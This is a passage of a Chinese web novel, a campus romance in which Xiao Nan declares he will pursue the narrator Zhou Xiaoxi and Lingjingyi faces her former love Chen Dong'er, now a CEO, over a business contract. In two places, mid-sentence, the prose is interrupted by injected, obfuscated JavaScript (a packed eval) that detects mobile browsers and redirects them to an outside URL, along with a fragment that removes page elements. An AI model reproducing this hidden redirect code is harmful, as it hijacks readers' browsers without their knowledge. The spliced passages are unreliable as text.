我走出去倒水喝,肚子发出叽里咕噜的声音。昨晚我没有胃口,只吃了一碗粥和少许榨菜。现在饥饿全面袭击。凌静宜从外面走进来,脸上冷冰冰的像是结了霜。 “难道大三都不用上课吗?!”凌静宜最近心情不太好,“就算不上课,也该早点去找找实习工作为将来走上社会做准备吧?!”叶翔隔三差五跑来蹲点,让她不胜其扰。 我们私底下讨论过叶翔追到凌静宜的可能性,觉得希望渺茫。像凌静宜这样的妖孽,估计只有道行高深的法师才能收了她。而叶翔即使帅出了天际,也离老法师差得很远。齐齐叹一口气,明明铭盛有那么多绿茶白莲花,叶翔偏偏爱的是野玫瑰。有些人就喜欢挑战高难度,我们只能为他默哀0.01秒。 说起来,萧楠在我们学校出现的频率也高得有点不正常,难道S大也没课要上吗?当然,我不能阻止他来找他的好基友,况且他也没对我做出什么过分的举动。可每次他出现在女生宿舍楼下,很多女生都跑到走廊上围观。本来就窄的楼梯被围得水泄不通,很不方便,真是蓝颜祸水。 萧楠在楼下的时候,我通常不出宿舍。迫不得己必须出门的话,我会带上墨镜和帽子,不知道为什么总有一种做贼心虚的感觉。 刚开始,刘小叶问:“小西,你不会是看了什么不该看的长针眼了吧?” 我都用挡太阳来搪塞她。 后来,她习惯了,瞄我一眼就说:“知道,外面就算下冰雹暴雨也会有太阳。” 而今天真的是一个“下着冰雹的艳阳天”。 …… 闹钟响了几声,叶翔迷迷糊糊地从被子里伸手把它往外一推,想要继续睡,听到有人开门出去了。他翻个身,把被子整个蒙在头上,今天他上午没课,不用早起。 下一秒,他的被子被人整个掀开了。 他的第一反应是迅速捂住自己的重要部位,没错,他习惯裸睡,什么都不穿的那种。 “我靠,哪个死变态!”叶翔发出一声惊呼,一下子坐起来。他抬起头,发现面前站着衣冠楚楚的萧楠。 “去不去你们新校区逛逛?” 叶翔重新倒下去,拽过被子盖上,闭上眼睛打个哈欠,“我下午还有课,想揩油直说,找那么多借口干嘛。” 萧楠抱着胳膊,似笑非笑的表情在他的脸上浮现,他饶有兴致地说:“转过去,你再睡我保证你今天都起不来床。” 叶翔一脸黑线,这个家伙越来越变态了,不知道是欲求不满还是欲壑难填,看来得尽快帮他追到那个妹子。 “你转过去,我要穿衣服。”叶翔在床上摸了一遍之后确认昨天晚上直接把内裤扔在洗澡间里了。 “切,又不是没见过。”萧楠的眉毛挑起来,一屁股坐在隔壁床上。 叶翔火速套上他的牛仔裤,一头乱糟糟的头发像杂草一样顶在头上,敏捷地闪过向他扑过来的肖楠,后者整个笑瘫在他的床上。萧楠随后摆出一副撩人的姿势,冲他飞个媚眼,“呦呵,起来的速度很快嘛……”叶翔套上卫衣,忍不住吐出一句,“你个死变态。” 二十分钟后,叶翔被拖进了宾利Mulsanne。萧楠踩住油门,黑色宾利像箭一样冲了出去。 “你个败家子,怎么不动用直升飞机泡妞呢!”叶翔嘟嘟囔囔地抱怨:“你家老头子知道你在W市这么招摇吗?” “好意思说我,你这个月至少花了十几万块买衣服鞋子。孔雀开屏!脚上这双Air Jordan是限量款吧?”萧楠的嘴角轻轻上扬,真没想到,她居然也考到了W市。“你对她一点印象也没有?她也是M市的。” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997355|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会还跟我们一个高中吧?”叶翔斜靠在车椅上,一条腿架在另一条腿上,“你能直接出手吗?每次打着找我的幌子,一点儿都不爷们。” “你懂什么……这叫欲擒故纵。”萧楠哼了一声,“我不相信她对我一点都不好奇。” “你慢慢纵吧,大二大三肉少狼多。别说我不提醒你,你再不下手,当心姑娘被别人追走了。” 这座喧嚣的大都市里,很多地方都人满为患,除了那些以高价过滤阶层的地方和偏远的郊区。 我们现在就处于一个清静得恍若出家的地方,食堂是个例外,由于物美价廉,供应早餐的第三和第四食堂永远人满为患,仿佛整个铭盛的学生都要上第一二节课。 凌静宜钟爱人少的地方,最好是那种冷清得像要倒闭的地方。她从来不去食堂吃早饭,每天光顾那个早餐78元一份的自助餐厅,我丝毫不怀疑她不是为了早餐,而是花钱买清静。就像刘小叶说的,即使加上她和陈梦晓,也是吃不回本的。 今天也不例外,她做完例行保养,读完报纸,然后准备去吃早饭。一出门就看见叶翔笑得一脸灿烂的样子。旁边靠着树站着的是萧楠。 早晨的阳光温柔地照射在两个璀璨少年的身上,他俩周身笼罩着柔和的金黄色光芒,像从画里走出来的一样。一个穿着纯白的绒卫衣搭配牛仔裤运动鞋,另一个穿着套头毛衣和牛仔裤,他们都戴着针织毛线帽,显得干净而温暖。 叶翔逆着光向她走来,一阵风吹过,飘下来两片黄澄澄的树叶。 这无疑是一副美丽而精致的画面,凌静宜却不这么认为。对她来说,这是一个美好早晨彻底分崩离析的画面。她转身回了宿舍。 更让她不爽的是,她刚跨过大门,宿管科大妈对她说:“哎呦,小姑娘不要作,这么好的男朋友作跑了哭都来不及。” 凌静宜从房间里拿出电脑,坐在沙发上噼里啪啦地一顿敲打。我十分同情地看着她的新款苹果电脑——刚买回来时,凌静宜对它非常爱惜,时不时摩挲着外壳夸它的性能优越;现在只过了一个月不到,它就丧失了主人的宠爱。我有一台一模一样的,为了维持人设,我忍痛把它留在了家里。正在服役的是一部平价Thinkpad,优点是无论谁用多大力气敲打它,我都不心疼(我也有很强烈的喜新厌旧的毛病,对新东西的宠爱期从来没超过三个月。就这点来说,我和她大概是五十步笑百步)。 尽管凌静宜面无表情,可我认定如果我有透视眼的话,肯定能看到一缕缕黑烟从她的身体内部涌出来直冲天际。 我的肚子继续发出亢奋的抗议声,她抬起头问我:“你要去吃早餐吗?帮我带份培根鸡蛋三明治,谢谢。” 我戴着帽子走出去,毫不意外地看见了叶翔,然后意外地看见了萧楠。我正准备无视他们,向着热乎乎的早饭进发。没想到,萧楠直接走向我,说:“能约你室友一起谈一谈吗?第四食堂旁边的西餐厅。”还没来得及拒绝,他拉着叶翔走了,边走边说:“以后别戴墨镜了,特别扎眼,想不注意你都难。” 我跟只呆头鹅一样站在寒冷的空气里,目瞪口呆,直到冷得打了个喷嚏。 “这么快回来了?”凌静宜狐疑地打量我,“三明治卖光了?” “萧楠和叶翔约我们去西餐厅。”毫不意外,我看见她的丹凤眼骤然瞪得像核桃一样。 “这两只妖孽。”凌静宜低下头,狠狠地敲击了一个回车之后,啪的一声合上笔记本,“走,看他们玩什么花样。” 在西餐厅门口,凌静宜挺了下胸,斗志昂然。那一刻,她简直像是要去屠龙的女战士,我战战兢兢地跟在她身后,恨不得临阵脱逃。 我和凌静宜是两个极端,她画着精致的妆容,我素着脸头发还有点乱(啊啊啊啊,现在不过是早晨8点半,她居然画着完整的妆,这个妖孽)。对面是两个眉目如画的青春少年,任凭谁见了都认为这是一个美好的四人约会,可如果你从旁边经过,就不会这样认为了。我们这一侧剑拔弩张。 我一定是被下了降头,才会拖着凌静宜坐在这里。愤恨地瞪了一眼萧楠。 萧楠朝我扬起他好看的嘴角,微笑着说:“能借用一下你的手机吗?” 我傻啦吧唧地把手机掏出来递给他。 他修长的手指在手机屏幕上按下一串数字,餐厅里响起了电话铃声。他把手机还给我,接着掏出自己的手机,随后我的手机响了起来。 “那是我的电话号码,你存一下吧。”他顿了一下,耳朵很可疑的红了,他说:“趁着大家都在,我宣布一下:周小西,从今天开始,我要追你。” 20. 第 20 章 我怀疑我的耳朵出了问题,脑袋里嗡嗡作响。刚才他说了什么? 除了我之外,对面的叶翔也张大了嘴巴,真担心他的下巴会脱臼。他以各种行为表明他在追求凌静宜,可他没想到像萧楠这么直接地告白。 没错,他今天说过让他直接一点,但他也……太直接了吧? 如果说在此之前我只是若有若无地感受到了他的好感,无疑现在他已经吹响了追求的号角。一个惊雷在我头顶劈开,外温暖的阳光也无法驱散我现在如履薄冰的感觉。 “顺便问一下,凌同学,你不考虑我哥们的原因是什么?”他把一块方糖丢进咖啡里,用勺子轻轻地搅动,下一刻他的优雅就被龇牙咧嘴所取代。 凌静宜看一眼叶翔,说:“我不喜欢长得帅的。” 我正在装作无事地搅咖啡,手一抖,咖啡差点从杯子里飞出去,凌静宜真是不按套路出牌的强劲选手……对面叶翔已经哐当一声打翻了杯子。 摆在凌静宜面前的那个奶黄包看上去很好吃的样子,我的肚子很不争气地叫了一声,眼巴巴地看着她用叉子把它戳得面目全非。 “如果没有别的事,我们就先走了。”凌静宜一把拉起我,走了出去。 “两个神经病……被那两只妖孽搞得早饭都没吃。”凌静宜从包包里抽出一张湿纸巾,擦了擦手,“你要不要?” 我一脸郁闷,“那个奶黄包看上去很好吃……” 凌静宜看了我一眼,两个字淡然且清晰地从她嘴巴里吐出:“出息……” 尽管快要10点了,太阳明晃晃地悬在天空中,可寒风仿佛裹着凌厉的刀片,刮得脸生疼,疼久了之后不再疼,麻木失去知觉。我使劲拍了拍自己的脸,终于有了真实的感觉。 我亦步亦趋地跟着凌静宜向前走,升腾起一种说不清道不明朦朦胧胧的感觉:无忧无虑的生活,似乎像一列轰隆隆前行的列车一样,将远远地留在身后。 凌静宜指示她的男秘书做了几次修理工作之后,我们起哄要见到本尊。必须承认,在铭盛待着实在太无聊,我们总想找一些乐子。那个叫Jacob的男生出现在我们面前的时候,刘小叶大失所望,极其普通的一个男孩子。只不过人很沉稳,一眼能看出和学校里的愣头青不一样。他很会照顾人,年纪比我们大几岁。 我十分不擅长跟比自己年纪大的人相处,他们仿佛是另一个时空的生物。只比我们大上一两岁,却比我们懂得多得多,俨然开了窍。 说实话,对于凌静宜能够驾轻就熟地指挥比她年长的人,我的羡慕里掺杂着嫉妒。 刘小叶问凌静宜:“你给他发工资吗?” 凌静宜半眯着眼睛,像一只被打扰了睡眠随时会给她一爪的猫咪,“当然,你以为我是无良资本家?” “那你不找个帅哥?”刘小叶对微观经济学里的资源优化配置这一章极其感兴趣。 “我又不是开鸭店,光长得帅干不了活儿,管屁用。”凌静宜一边涂护手霜一边说,“哎呀,我刚刚说脏话了,你们自动屏蔽啊。” 我不由对她肃然起敬,一部分是因为她的直白,另一部分是因为她还能觉察到自己说了脏话。无意识的口头禅,时间长了自己都会忽略。 许苑薇失恋后对所有的事情都失去了兴趣,除了学习。她成天埋头学习,接近疯魔。有一天晚上大概三点多我起来上厕所,她一个人坐在客厅里看书。刘小叶偷偷告诉我,她不止一次看到许苑薇晃荡到传达室,没有拿信,一副魂不守舍怅然若失的模样。我们俩只能大眼瞪小眼,默默叹口气,我们也帮不了她什么。 晚上10点多,我们几个陆陆续续洗漱,突然宿舍的电话响了起来,大家一头雾水。这年头大部分人都有手机,基本上没人打宿舍电话。刘小叶接了电话,那头传出了轻微的笑声和润嗓子的声音。 “这里是午夜电台,有一位听众给我们打来电话,想要为他一直心仪的女生点播一首歌。” 刘小叶说:“好像是恶作剧电话。”她切下免提键,一首老掉牙的歌《你知道我在等你吗》弥漫在宿舍空荡荡的客厅里,音波仿佛在撞击到冰箱光滑的表面时折射回来,在不大的客厅里产生了立体声环绕的效果——可怕的听觉污染。 “用这么老的套路追女生,他们能不能有点新意?”陈梦晓对情歌的接受度为负值,她一直吐槽,怎么有人能把那么肉麻的歌词唱出来。 “还好没到楼下弹吉他摆蜡烛。”我想起学校BBS上的新闻,浑身的毛孔打了个颤,这跟逼婚有什么差别。嗯,那个结局是什么来着? 突然,歌曲戛然而止,一个男生的声音在空气里飘荡着,“郑筱,你知道我在等你吗?我是……” 郑筱的脸一下子煞白,像见了鬼一样。我同情地看着她,要是我被这样告白,估计脸色比她还难看,简直想买块豆腐撞死算了。 凌静宜走过去,对着电话骂了一句:“神经病!”正准备挂断电话,那边突然传出来一个醇厚低沉的男声,“你们在干嘛”,“啪嗒”一声,电话被挂断,嘟嘟嘟的忙音在安静的夜晚格外响亮。 “应该是恶作剧。”我拍着郑筱的肩膀说。她一言不发走开了,凌静宜瞥了我一眼,好吧,这是个失败的安慰。 接下来的几天晚上,几乎同一个时间段,都有电话打进来,我们不甚其扰,把电话线拔了,耳根才算清净了。 对刘小叶来说,这是喜闻乐见的情况。她的想法很简单:作为新一届的颜值担当宿舍,现在没了家长和老师对恋爱的约束,居然没有人对我们宿舍发动猛烈的追求攻势,简直是天方夜谭,完全不合情理。 她摇头晃脑地说:“这哪儿是冬天啊?桃花满天飞。” “嗯,烂桃花。”凌静宜的声音有些沙哑,听声音很是疲倦。 “难道要在宿舍里放把桃木剑?”真没想到,刘小叶还是个神棍。 她小声地嘀咕:“如果叶翔跟那个帅哥都算烂桃花的话,这个世界上也没一朵好桃花了。” 然后挨了凌静宜的一记白眼。 我当然知道她说的“那个帅哥”是萧楠,她毫无悬念地收获了另一枚白眼。 …… 许苑薇上完选修课,从图书馆借了书,不知不觉又绕到了西大门旁边的传达室。“应该再也不会收到信了吧”,她默默想,从最开始抱有一丝幻想到如今彻底失望,她感觉过了很久很久,其实也不过就两周的时间。 “哎,姑娘,有你的信……”传达室大叔朝着她喊,这年头写信的人极少,一周一封的频率足以让大叔记住许苑薇的样子。 她不可置信地转过身,大叔的脸笑得跟上个月花卉展里那株怒放的菊花一样,亲切随和,布满了褶子。 从大叔手里接过信,在信件登记簿上签好名,她仍然不敢相信。信封上的名字和字迹无比熟悉又空前陌生。她摩挲着信封上的名字,迟迟不敢打开信。 “他会说什么?道歉?还是会当作什么都没有发生?”一边想着一边走,不知不觉回了宿舍。 “许许,今天我们去哪个食堂吃饭?周小西这个坏家伙,居然跟凌静宜吃独食!”刘小叶踩着小碎步蹦到许苑薇面前,一脸哀怨地说:“只剩下我们俩相依为命……”还没等她说完,许苑薇像只受惊的小白兔一样往旁边一缩。 “那个……我今天不想吃饭。”许苑薇不自觉往后退了一步,手紧紧抓着包包上的玩偶小熊,“我去上自习了。” 她扭头出了宿舍,整个宿舍只剩下刘小叶一个人。她瞪着眼睛诧异地问:“今天什么日子?都没毛病吧?” 许苑薇独自去上自习。她把信夹在课本里,压在书包的最底层。这大概是许苑薇上过的最没有效率的一次自习。她无时无刻都想打开信看看里面到底写了什么,但她又害怕知道,反反复复,来回拉扯…… 终于,她深深吸了一口气,小心翼翼地拆开了信封。从里面掉出来折成心型的信纸。她觉得自己的心跳得很快,从耳朵到脸颊都很烫。 上面只有一句话,“我和她分手了,你还愿意跟我见面吗?我的电话是……” 刘小叶不仅爱好八卦,还热衷于星座运势,除了凌静宜之外,我们的星座都被她扒了个底朝天。 虽然她上周日宣告这周只有巨蟹座和处女座运势极差,可我严重怀疑,这一周我们都在水逆当中: ——凌静宜的脸色总是阴晴不定,回宿舍的频率也降低了; ——刘小叶的腰本来已经好得七七八八,却在去食堂的路上摔了一跤,回归刚扭伤的状态; ——郑筱主演的话剧《罗密欧和朱丽叶》临时改期,跟她的选修课冲突; ——我每天收到萧楠的短信,《N.Z》想办个陆星洺的读者见面会,烦得要命; ——许苑薇这几天魂不守舍,在课堂上回答问题没一次答对; ——陈梦晓去学校泳池游泳,和清洁工阿姨吵了一架…… 在整个低压氛围里,凌静宜是暴风眼。她的不耐烦呈现几何级数增长爆发态势,要不是她那张年轻好看的脸,我几乎要怀疑跟我们一起住的是个更年期妇女。 ——“栗子蛋糕好好吃,要不要吃?” “我不想看人体爆炸。” ——“我最近的肌肉硬邦邦的。” “下次我家没煤气了,打电话给你。” ——“哈哈哈,这个漫画好搞笑。” “你的脑袋里只装得下图片吗?” 从她最近的毒舌程度来看,凌静宜的心情不好,非常不好。 “你们有没有觉得凌静宜最近心情不好?”许苑薇问。 “也许大姨妈来了。”陈梦晓把一颗怪味豆抛向空中,在它落下来的时候准确无误地接住。 所有一切的迹象表明——她的公司出问题了。对她这种完美人类来说,不存在金钱困扰,长相令人满意,学什么会什么,唯一有可能出现纰漏的是变幻莫测的商业世界。 周四晚上,我听见她打电话的声音,“嗯,那笔生意我不想接。” 她挂了电话,一个人站在阳台上,冬天深夜的风冷得刺骨。她抱着自己的胳膊,周二她去了Moster Cone公司的招标会,见到了决策层。 那天,她穿着驼色和黑色拼接的Fendi连衣裙,剪裁简单,外面套着Miu miu新一季的黑色呢大衣。走进大楼,她脱掉了外套,Moster大楼里温暖如春,甚至有些热。那时,她的心情像和煦的春日一样明媚。 招标文件花费了她两个多星期,从数据采集、市场分析到项目执行以及为什么选择她的公司,都有充分论述。她完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997356|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有理由相信,有脑子的人都会选择和她合作。当然,没脑子的人她不屑于合作。 但她的踌躇满志、信心满满在见到决策人的那一刻全面崩塌。 “小静,我们又见面了。你们的投标方案我看过了,非常好。希望今天的Presentation同样精彩,预祝合作愉快。” 陈东尔穿着黑色的阿玛尼定制西装,依旧英俊得不像话。休闲装能缓和他的冰冷,穿西装更显得冷漠凌厉。他不应该出现在真实的世界里,只应该存在于杂志海报那一类她不感兴趣的东西里。如果可以的话,凌静宜真想用一帧相纸把他封起来,挂在她永远都不会去的地方。谁爱去看都可以,please leave her alone。 他的声音尽管冰冷,可他的心腹能听出来,老板的语调柔软得如同漂浮在空中的白色羽毛。在Moster Cone待的这几年,从来没见过老板这副样子。在所有人的印象中,老板异常冰冷,手段老辣狠决,跟他的实际年龄完全不符。 凌静宜虽然对Monster Cone公司做了一些背景调查研究,却没有获得高层的任何信息。她不知道陈东尔是Monster Cone的CEO。她对后来的他一无所知,不知道他提前拿到了哥伦比亚商学院的毕业证书和学位,不知道他如何一步一步建立起这个庞大的商业帝国。 她唯一知道的是Monster Cone三年前建立,以摧枯拉朽之势迅速发展,扩张速度人乍舌:经过一年半的发展,从最初只有几个人的小公司变成了超过五百人的公司;到今时今日,Monster Cone在国际范围内拥有业务,在全球二十五个国家设有分公司或办事处,员工人数超过五万人。硅谷是IT创业的天堂,华尔街是金融人士实现梦想的圣地,而Monster Cone的总部所在地Omag镇则因为它而成为传媒之星。 “不好意思,我放弃这次机会。”凌静宜抽出自己的投标计划书,正准备头也不回地走出会议室。 “据我所知,你的大部分资金压在了上一个项目上……” 陈东尔的眉毛微微挑起,两手交叉,拇指和食指分别靠在一起,“根据所承接的项目类型不同,Monster Cone的供应商可以得到10%-30%的不等额预付款项。我相信知道这一点会对你的决策有帮助。” 坐在他右侧的总助偷偷看了一眼他,再看一眼凌静宜,悄悄在本子上写了些什么。 凌静宜迟疑了十秒钟,缓慢地打开她手上的文件夹,精心准备的PPT投在大屏幕一页页翻转…… 她是最后一家供应商,做完招标方案陈述已经到了吃饭时间。 “小静,一起吃个饭?”她走出会议室,他快步从后面追上她。 留在会议室里的人看着老板脚步轻快得如同追梦少年,纷纷怀疑今天的太阳是不是不知道它应该从东边升起。 “不好意思,陈总,我还有课,下次吧。”她微笑着拒绝,不卑不亢。 她冷静而铿锵有力地向前走,高跟鞋踩在大理石地板上发出清脆悦耳的声响,她的背影完美得像是维纳斯女神。 陈东尔看着她的背影渐行渐远,冷漠决绝地离开他的世界。三年,他变了,她也变了,那个果决而冷静的背影看上去很陌生。直到这一刻,陈东尔才意识到这一次他有可能真的要失去她了。 他调查过凌静宜所谓的现男友,那个叫叶翔的,不过是她的众多追求者之一。即使他很优秀,也只是个挡箭牌,小静并没有给他机会。 曾经他以为,只要他成为绝对的强者,只要他做完那些该做的事情,凌静宜还会回到他身边。就算不是现在,也会在不久的将来,他们之间,永远有转圜的余地。他没有意识到,他的行动已经将人生做了排序,而成功和报复都排在了凌静宜的前面。甚至到这一刻,陈东尔仍然没有意识到,是他自己做出的选择让他们越来越远。 可是,他已经停不下来了……他计划了三年,等待了三年,终于有足够的实力报复曾经伤害他和家人的那些人。如果现在放弃,他会抱憾终身。 他张了张嘴巴,没有发出任何声音。只有他自己知道,他在灵魂深处疯狂呐喊:她是我的爱,是我日复一日思念的人,我不能也绝不允许失去她!所有的空气像是骤然被压缩,他握紧了拳头:快一点,我要再快一点…… 尽管整栋大楼的空调马力强劲,颠倒了季节:不像寒冬,反而温暖得宛如春回大地。但随着陈东尔冰冷的声音响起,所有人感觉浑身的鸡皮疙瘩在颤栗,“召集高层开会,下班前我要看到对东华集团的并购策划书。” 走出Monster大楼的一瞬间,凌静宜感觉她的胸口快要撕开了,疼痛从身体内部一直蔓延到四肢,手指颤抖,脚软无力。她继续往前走,如果有人跟在她的身后走上一段路,就会发现她的脚步踉跄,身子歪斜,跟在Monster大楼判若两人。 她脑子里一片空白,直直地望着天空。眼睛里蒙上了一层水雾,一切景象氤氲模糊。她努力抬着头,竭力把眼泪收在眼眶里,终于还是有两滴泪珠顺着她的脸颊滚落下来,重重地砸在地上。 细小的雨水从天空洒落下来。眼泪不受控制地涌出来,和冰冷的雨水混在一起,精致的妆容像融化的冰激凌一样从她脸上剥落。 21. 第 21 章 我经过阳台,难得看见凌静宜在发呆。 以前翻阅各种时尚杂志,看到那些妆容精致、表情冷峻的模特时,总觉得她们是不存在于这个世界的生物,高傲、冷艳、不食人间烟火,让人迷恋却冷酷无情。我不经意眼神掠过凌静宜那张脸时,有一种错觉:她理应是她们中的一员,只要换上高跟鞋,她就能去走T台了。 我猜测她们的血管里流淌着的液体不是炙热的血液,而是冰蓝色的结晶体。有时候我觉得,除了外表与她们不同,我也同样如此:天性冰冷,不喜欢和别人结交,钟爱自己的内心世界多过这个花花世界。 外界的声音叫嚣着“女生应该如何如何”,让人无法心安理得地热爱自己。女生仅仅热爱自己会被冠上自私的名号。 当然,我听过要爱自己,可那些通常是消费主义的说辞,将爱自己与消费挂钩。究竟什么才是真正的爱自己,我不明白,相信很多人也不明白,世界教给女孩子的是没有自我的奉献。我想,凌静宜应该是懂的。 随着我们的交集越来越多,我越来越了解她,逐渐生出了亲近之心。这种感觉很奇妙,这太不像我,可我遏制不住自己。 我习惯了她莫名其妙与众不同的洁癖: ——只要从外面回来,她就会从里到外换掉身上的衣服; ——哪怕只是试穿了的衣服,她都会送去干洗; ——她随身携带免洗洗手液,在使用了任何跟金属相关的东西都会反反复复洗手,接完电话也不例外; ——如果不是怕别人觉得她是个怪胎的话,她甚至会随时随地带着白手套,屏蔽跟外界的接触。 我习惯了她冷嘲热讽、说话尖酸刻薄面具下的真实情感,很容易就能分辨出她是真的不屑还是用不屑来掩盖自己的不安和慌乱;我欣赏她对于界限感的分明,或许因为疏离根植在我们的骨子里。 有一种类人看上去冰冷,内心的热度却烫得灼人。只是他们很难被打动,不屑于用伪善的亲切伪装自己。但一旦他们认定了某些人某些事,他们会自己燃烧,灼热得像一团火。 我不确定凌静宜是不是这样的人,甚至不确定自己是不是这样的人。只是隐隐约约觉得我不像以前那样:对大多数事情都提不起兴趣,毫不关心;对爸妈和李离之外的人都无所谓;也许,我到达了燃点。 自从开始写作之后,我逐渐对别人的情绪敏感起来,可能源于我无意识总在观察别人。或许,我投射在她身上的视线远多于别人,毕竟她是那么闪耀的存在。 友情滋生没有任何征兆,自然得仿佛太阳出来了冰雪就会融化一样。正是因为这样,往往它扎了根发了芽,我们仍不以为意。直到某一个不经意的瞬间,发现它已然开出绚烂芬芳的花。在我没有发觉时,我们之间界限已经变得模糊,甚至可以算得上亲密。 以往,我才不懒得管别人的事,每个人都有自己的安全岛屿。 “你心情不好?” 她若无其事地说:“没什么,公司的事情。” 冰冷的风从窗户里吹进来,她颤了一下,抱住胳膊。我走过去,把窗户关上,她眼睛红肿,很明显哭过。 从来没在她身上看见过伤心悲痛的情绪,她永远都是骄傲飞扬的。 “真的吗?”我看着她,并不打算让她逃开这个话题,“那你为什么哭?” 她略有些尴尬地避开我的目光,“我说沙子进了眼睛,你大概也不信吧。” 凌静宜靠着阳台的白色门框,和平时神采奕奕的她判若两人。声音里透出一丝疲惫,“你知道吗?我很羡慕你们……” 不可一世的凌静宜居然说羡慕我们,我们有什么好羡慕的?她那么优秀,高高在上,轻而易举地挥霍着物质,尽情地享受人生,做所有自己想做的事情。我几乎忘记了自己也是那样的人——银行卡上的生活费只花了百分之一都不到。除了学校里真的没地方花钱之外,现在我花钱的欲望委实不高。 她走到阳台上,把脸贴在玻璃上向外看。外面下着雨,零零星星的昏黄路灯,隔着水淋淋的窗户,像是融化了的黄油一样流下来,一地狼藉。 我下意识走向她,用胳膊揽住她,动作僵硬。随后,我被自己吓到了——那个主动去拥抱别人的人,是我?上次的那个集体拥抱,我还能认为完全是因为煽情的气氛。这次呢?显然,身体在意识之前做了主。 凌静宜轻轻地抖了抖——看来不习惯的不止我一个——我轻轻呼出一口气,这样似乎……没那么丢人了。 渐渐的,我感觉她放松了下来,我的胳膊也慢慢柔软了。她的头伏在我的肩膀上,像受伤的小兽一样,一抽一抽的,我听见了她的抽泣声。 我无意窥探别人的生活,对我来说,那是一种负担。认真倾听,不是一件容易的事情。 在这个下雨的晚上,我知道了凌静宜和陈东尔过往的纠葛,知道了那个容貌出众但冰冷得让人颤栗的男人多么恶劣,也知道了所有人艳羡的生活可能只存在于幻想当中。 ——凌静宜跟她爸的关系从陈东尔家破产之后就不太好; ——她的公司接了一个国外的项目,由于买家的支付周期,资金周转暂时出现了问题; ——Monster Cone项目的决策人是她避之不及的陈东尔; ——叶翔持续不断的追求让她心烦意乱。 “我不知道他为什么还要出现。”凌静宜的声音沙哑,不知道是不是因为哭了很久。像她这样的super girl,也会为了爱情哭泣,真是不可思议。 爱情究竟是什么样的存在?刘小叶看似平淡实则甜蜜的恋情,许苑薇还没开始就结束的暗恋,陈梦晓他追她逃的情愫,凌静宜痛彻心扉的纠葛……究竟哪一个才是爱情真实的面目?它既可以美好,也可以残酷,令人欲生,更令人欲死。 大多数时候,我们的人生恍若一部电影里波澜不惊的过渡片段,只有只字片语,甚至没有对白,沉默的如同背景音乐。主导的剧情任性且固执,它从我们身上碾压过去,留下深深浅浅的伤痕,不带任何怜悯,对我们的渴望置若罔闻,一意孤行地向着早已确定的结局飞奔。 就算是凌静宜这样的天之骄女,也不能控制一切按照她的意愿发展。 我突然非常想念李离。我们在各自报道之后通了一个半小时电话,还有几次微信聊天,除此之外,联系很少。我想,她和我一样,都忙着适应新的生活,结识新的朋友。她的性格比我更容易结交到朋友。或许,她正沉浸在新的友情当中。 在爱情上,我的过往一片空白,没有什么可以跟凌静宜分享的,只能静静地听她说。 我们缩在凌静宜那张小小的床上,平躺着,头靠着头。 “小西,如果有一天你最喜欢的那个男生变了,面目全非,把你伤得体无完肤,你还会喜欢他吗?” “我肯定不会。”我想了想,笃定地回答。 在我的人生观里,爱情所占的比重很小,小到可以忽略不计。我不明白为什么可以为一个陌生人投入那么多的感情,如果有人一而再,再而三地伤害我,说明他不是真的爱我,那我为什么还要喜欢他?此时的我,不知道什么叫“情不知所起,一往情深”,也没有意识到,只有那些我们在乎的人,才能轻而易举地伤害我们。 爱恨纠缠,这个词在无数的爱情小说里屡屡被提及,我一厢情愿地认为它离我很遥远,不会在我的生命里出现。 “我曾经认为,趋利避害是人的本能,我一直也是这样做的。可一碰到陈东尔,全都土崩瓦解,我不知道该怎么办……我宁愿他永远都不要再出现……” 我不知道该怎么安慰她,只能轻轻地拍着她的背。 “静宜,你要不要尝试开始另外一段感情?不是有人说,忘记一段感情,最好的方法就是开始一段新的。” 似乎在小说里,这种事情的解决难度很低。主人公总是能遇到她的救赎。 “或许这个方法对别人有用,对我来说……”她轻轻地摇了摇头,一脸苦涩,“I am not ready。” 她按一按自己的眉头,“我该想的是怎么样让公司渡过难关,现下接受Monster Cone的项目是最有利的,这是最理智的做法。可情感上来说,我想远离那个人,越远越好。” 我写别人的故事,也在别人的故事里看见自己。只是,我对别人的兴趣远远大于自己,也许是因为我并不是一个有故事的人,真是无趣。陆星洺,更像一个观察者。我躲在他的背后,把自己观察到的一切,揉进我的情绪波动,写进跟我无关的故事里。渐渐的,那些故事好像跟我无关,又好像跟我有关。陆星洺,慢慢成为了一个事不关己又无法抽身事外的人,独立的自我意识在他身体里重建起来。 脑海里反复播放着陆星洺笔下主人公们的悲欢离合,体会复杂的人类情感,恍惚间跟凌静宜的面容来回切换,直至重合。骤然,我领悟了:无论凌静宜看上去多么强大,她仍然跟我们一样,只是一个有血有肉的大一女生。再怎么成熟,也无法淡然面对爱情的伤。 在这一瞬间,我突然希望,叶翔能够充当拯救者——骑士总在黑暗前夕解救公主。 凌静宜靠着枕头,轻轻说了一句:“小西,谢谢你。” 我们没有再说话,安静地沉默着。 她应该很累,很快沉沉地睡了过去。而我,睁着眼睛,盯着天花板,没有一点睡意。 人生就像一道未解谜题。有些人不断研究,严格遵循“成功”定理一路前行,直至找到他们认为的正确答案;有些人则产生了疑惑:人只有这一辈子,如果一直在“成功”方程式里计算得失,会不会少了很多乐趣?纵情而肆意地活着,也许对任何人来说,都是一种奢望。 